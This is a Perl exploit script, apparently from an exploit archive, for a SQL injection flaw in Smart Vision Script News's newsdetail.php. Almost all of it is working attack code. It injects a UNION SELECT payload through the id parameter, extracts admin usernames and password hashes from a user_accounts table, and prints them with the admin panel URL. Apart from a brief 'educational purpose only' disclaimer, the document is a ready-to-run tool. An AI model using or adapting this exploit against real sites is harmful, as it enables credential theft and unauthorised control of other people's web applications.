Smart Vision Script News – ‘newsdetail.php’ SQL Injection (2)
#!usr/bin/perl ############################################################################ # Exploit Title: Smart Vision Script News (newsdetail) SQL Injection Exploit # Date: 01-04-2010 # Author: darkmasking ############################################################################ # This was written for educational purpose only. Use it at your own risk. # Author will be not responsible for any damage! ############################################################################ # Vuln discovered by Err0R # Smart Vision Script News ( newsdetail ) SQL Injection Vulnerability # http://www.exploit-db.com/exploits/10977 ############################################################################ # Greetz : sorry bro lom ada teman jadi tuk diri sendiri aja 0_o ############################################################################ use IO::Socket::INET; use LWP::UserAgent; sub banner { print "\n". "[»]=============================================[_][-][X]\n". "[»] ======= ------d-------m------ ==== ==== [»]\n". "[»] || === = | |(o o)| | ||== || ==|| [»]\n". "[»] || === = ||(~)|| || = = || [»]\n". "[»] ======= | || || [»]\n". "[»]---------------------------------------------------[»]\n". "[»] Smart Vision Script News (newsdetail) [»]\n". "[»] SQL Injection Exploit [»]\n". "[»] by darkmasking [»]\n". "[»] Vuln discovered by Err0R [»]\n". "[»]===================================================[»]\n\n"; } my $host = $ARGV[0]; my $sql_path = "/newsdetail.php?id="; my $admin_path ="/admin/admin.php"; if (@ARGV < 1) { &banner(); &help("-1"); } elsif(check($host) == 1) { &banner(); &dmploit($host,$sql_path); } else { &banner(); help("-2"); } sub dmploit() { my $host = $_[0]; my $sql_path = $_[1]; print "[+] Getting Username and Password\n"; print "[!] Checking...\n"; print "\n"; my $sql_atk = $host.$sql_path."-9999 union select null,concat(0x6461726b6d61736b696e67,0x3a,user_name,0x3a,password,0x3a,0x6461726b6d61736b696e67),null,null,null,null,null from zagrosle_zagros.user_accounts--"; my $sql_get = get_url($sql_atk); my $connect = tag($sql_get); if($connect =~ /darkmasking:(.+):(.+):darkmasking/) { print "-o0 SQL Injection Successfully 0o-\n"; print "[+] Username : $1\n"; print "[+] Password : $2\n"; print "\n"; print "[+] Admin URL = $host$admin_path\n"; } else { print "[-] SQL Injection Failed\n"; } } sub get_url() { $link = $_[0]; my $req = HTTP::Request->new(GET => $link); my $ua = LWP::UserAgent->new(); $ua->timeout(5); my $response = $ua->request($req); return $response->content; } sub tag() { my $string = $_[0]; $string =~ s/ /\$/g; $string =~ s/\s/\*/g; return($string); } sub check() { my $host = $_[0]; if ($host =~ /http:\/\/(.*)/) { return 1; } else { return 0; } } sub help() { my $error = $_[0]; if ($error == -1) { print "\n[-] Error, missed some arguments !\n\n"; } elsif ($error == -2) { print "\n[-] Error, Bad arguments !\n"; } print " Usage : perl $0 http://www.darkurl.com/\n\n"; print " Ex : perl $0 http://www.darkurl.com/\n\n"; exit(0); } |